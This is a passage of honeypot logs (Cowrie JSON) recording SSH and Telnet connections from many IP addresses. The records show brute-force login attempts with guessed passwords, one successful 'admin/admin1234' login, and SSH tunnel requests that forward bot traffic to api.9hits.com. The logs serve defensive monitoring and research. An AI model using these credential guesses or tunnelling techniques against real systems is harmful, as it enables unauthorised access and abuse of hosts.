)*o\\xc5\\x1eR\\x86)\\x13tN\\x8b\\xebKT\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:36.143991Z","src_ip":"113.164.152.20","session":"5085becf67e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.2465763092041,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:36.448288Z","src_ip":"172.81.62.90","session":"5f1d0acd5474","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:36.513689Z","src_ip":"113.164.152.20","session":"5085becf67e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":6239,"dst_ip":"159.203.135.109","dst_port":22,"session":"8897a0339dec","protocol":"ssh","message":"New connection: 49.247.37.22:6239 (159.203.135.109:22) [session: 8897a0339dec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:36.578760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:36.582686Z","src_ip":"49.247.37.22","session":"8897a0339dec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:36.781774Z","src_ip":"49.247.37.22","session":"8897a0339dec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@1234","message":"login attempt [root/Welcome@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:37.621367Z","src_ip":"49.247.37.22","session":"8897a0339dec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:38.824959Z","src_ip":"49.247.37.22","session":"8897a0339dec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":54768,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4058f32640d","protocol":"ssh","message":"New connection: 103.60.242.169:54768 (159.203.135.109:22) [session: c4058f32640d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:40.278842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:40.282279Z","src_ip":"103.60.242.169","session":"c4058f32640d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:40.540342Z","src_ip":"103.60.242.169","session":"c4058f32640d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty#2024","message":"login attempt [root/Qwerty#2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:41.607247Z","src_ip":"103.60.242.169","session":"c4058f32640d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:42.868656Z","src_ip":"103.60.242.169","session":"c4058f32640d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.96574568748474,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:45.517399Z","src_ip":"172.81.62.90","session":"3be01e344215","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":37908,"dst_ip":"159.203.135.109","dst_port":23,"session":"c47d1a2ef7b6","protocol":"telnet","message":"New connection: 172.81.62.90:37908 (159.203.135.109:23) [session: c47d1a2ef7b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:17.840064Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":55594,"dst_ip":"159.203.135.109","dst_port":22,"session":"256f87298663","protocol":"ssh","message":"New connection: 2.99.213.222:55594 (159.203.135.109:22) [session: 256f87298663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:39.963333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:39.967439Z","src_ip":"2.99.213.222","session":"256f87298663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:40.069647Z","src_ip":"2.99.213.222","session":"256f87298663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"P@ssw0rd@123","message":"login attempt [ansible/P@ssw0rd@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:40.510582Z","src_ip":"2.99.213.222","session":"256f87298663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:41.613441Z","src_ip":"2.99.213.222","session":"256f87298663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":52680,"dst_ip":"10.17.0.5","dst_port":22,"session":"15eccd29cccd","protocol":"ssh","message":"New connection: 123.27.168.40:52680 (10.17.0.5:22) [session: 15eccd29cccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:53.823116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:53.828048Z","src_ip":"123.27.168.40","session":"15eccd29cccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:54.062982Z","src_ip":"123.27.168.40","session":"15eccd29cccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":33124,"dst_ip":"159.203.135.109","dst_port":22,"session":"46eaac6f69bb","protocol":"ssh","message":"New connection: 41.90.100.147:33124 (159.203.135.109:22) [session: 46eaac6f69bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:54.089687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:54.094031Z","src_ip":"41.90.100.147","session":"46eaac6f69bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.113.53","src_port":47732,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcdd589bf4f4","protocol":"ssh","message":"New connection: 14.103.113.53:47732 (159.203.135.109:22) [session: bcdd589bf4f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:54.185176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:54.189457Z","src_ip":"14.103.113.53","session":"bcdd589bf4f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:54.308370Z","src_ip":"41.90.100.147","session":"46eaac6f69bb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:55.116359Z","src_ip":"123.27.168.40","session":"15eccd29cccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:55.198207Z","src_ip":"41.90.100.147","session":"46eaac6f69bb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:55.464615Z","session":"15eccd29cccd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:55.558580Z","session":"15eccd29cccd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:55.693409Z","src_ip":"123.27.168.40","session":"15eccd29cccd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TT5PV0dwWjEySUpRSURsQw%3D%3DloB6nb3xA6ga%2F1W1auPKoG2pmfUptZDXqVIsfQwWE0wUQsY8XZjqxPsBFhjQPh%2FXjswJR8ysGhNegv%2Fw029CDrnZ6net9kqAtVc5H9zm9L%2FU8LbzJSfBjpLjKscbafuvEtWiiLgqNK%2B8JM60l%2F080ZLLJMOZO4WxoVg4ObzpDrp8rlNMuyeFkHZ4nOJCLH%2B9ZM1x7jpcDUCnFiweFzj8Ht%2BGKZuUPOSM0DpM%2BLkcryygzO6FQgpBBw1wlz4fhiuzf0B89QKsulirOSDVnpER8qG7%2Bd0FNRATl8K%2BMbTYfd71Vrw7odlij3rBnLwNW1xS2gUwylr35RKhDplh0mA2GUCv4SiwbglPL%2Fp9UG1fMW5TLRdHTeewcdAQWx%2Bh9EVv3JTCiGasOwZo5kwt%2BB5pbEAkG98GDP%2FDnSlXFM58xePpyZLIVhfwVOPALi7CPIvBqkkelUV%2Bh%2FVU%2Fj9opOZYPkXn1FCVgmctpDUiciXSS2PhAMaRg3u%2BIq1xlgcG3QwL5VSIl9XK1IoDXg%2FsQJQyT5ghBWS1cFPdf1H9FK0ABFEuwZmuAHOqkfaUAG9N%2Fqjzhwnefslah%2B0PErczgwZsWF3qyDKZd5EF4uuQaelcyIQK9RZzRER0WwiS2Aq8dmzqf2JpeWp2YY3muzgp1EYgRdgeR3SyHaS7UnZ9U8j00ic%2B4y%2FbpyM0xe0NQ1W%2BNGWPURT0ySGUXgSL5gYliflIcrFEpTuZqS9CxPPwRYTi%2Ba7AckxPa5tAXpZP0XB4jNFifWhoZxk%2BWsrHzzEmlsU%2Bvt04VcdfKN9diUgEyQt617S6mdXqE5CkNWU7DoZ2gXPU5E7PRc2FGQ3ss7bh9RoYJck3OQKMyB5iSaLj8VtFHvRsTh%2BYnc9V5ejM32%2F834X7%2FKTpD7dm6PN80h4UpvZQn8zHFK8W3ZaWZAfwms5UYlaGm5eJcK6qwtOh3cCdp7JWE8TBqyODvY487jC9sSjuySo1mMqrwjcobStXU9GGzFIgmzzi5yQ4OFfgJqzAIxT%2FWvDKUz4kFrrHjMahPtN0ou%2B6V%2BZ70xuER6sPtZWqlPSTCrdfwK%2BzRMutFhqrp8F0'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TT5PV0dwWjEySUpRSURsQw%3D%3DloB6nb3xA6ga%2F1W1auPKoG2pmfUptZDXqVIsfQwWE0wUQsY8XZjqxPsBFhjQPh%2FXjswJR8ysGhNegv%2Fw029CDrnZ6net9kqAtVc5H9zm9L%2FU8LbzJSfBjpLjKscbafuvEtWiiLgqNK%2B8JM60l%2F080ZLLJMOZO4WxoVg4ObzpDrp8rlNMuyeFkHZ4nOJCLH%2B9ZM1x7jpcDUCnFiweFzj8Ht%2BGKZuUPOSM0DpM%2BLkcryygzO6FQgpBBw1wlz4fhiuzf0B89QKsulirOSDVnpER8qG7%2Bd0FNRATl8K%2BMbTYfd71Vrw7odlij3rBnLwNW1xS2gUwylr35RKhDplh0mA2GUCv4SiwbglPL%2Fp9UG1fMW5TLRdHTeewcdAQWx%2Bh9EVv3JTCiGasOwZo5kwt%2BB5pbEAkG98GDP%2FDnSlXFM58xePpyZLIVhfwVOPALi7CPIvBqkkelUV%2Bh%2FVU%2Fj9opOZYPkXn1FCVgmctpDUiciXSS2PhAMaRg3u%2BIq1xlgcG3QwL5VSIl9XK1IoDXg%2FsQJQyT5ghBWS1cFPdf1H9FK0ABFEuwZmuAHOqkfaUAG9N%2Fqjzhwnefslah%2B0PErczgwZsWF3qyDKZd5EF4uuQaelcyIQK9RZzRER0WwiS2Aq8dmzqf2JpeWp2YY3muzgp1EYgRdgeR3SyHaS7UnZ9U8j00ic%2B4y%2FbpyM0xe0NQ1W%2BNGWPURT0ySGUXgSL5gYliflIcrFEpTuZqS9CxPPwRYTi%2Ba7AckxPa5tAXpZP0XB4jNFifWhoZxk%2BWsrHzzEmlsU%2Bvt04VcdfKN9diUgEyQt617S6mdXqE5CkNWU7DoZ2gXPU5E7PRc2FGQ3ss7bh9RoYJck3OQKMyB5iSaLj8VtFHvRsTh%2BYnc9V5ejM32%2F834X7%2FKTpD7dm6PN80h4UpvZQn8zHFK8W3ZaWZAfwms5UYlaGm5eJcK6qwtOh3cCdp7JWE8TBqyODvY487jC9sSjuySo1mMqrwjcobStXU9GGzFIgmzzi5yQ4OFfgJqzAIxT%2FWvDKUz4kFrrHjMahPtN0ou%2B6V%2BZ70xuER6sPtZWqlPSTCrdfwK%2BzRMutFhqrp8F0'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:55.696374Z","src_ip":"123.27.168.40","session":"15eccd29cccd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:55.916587Z","src_ip":"123.27.168.40","session":"15eccd29cccd","protocol":"ssh"}
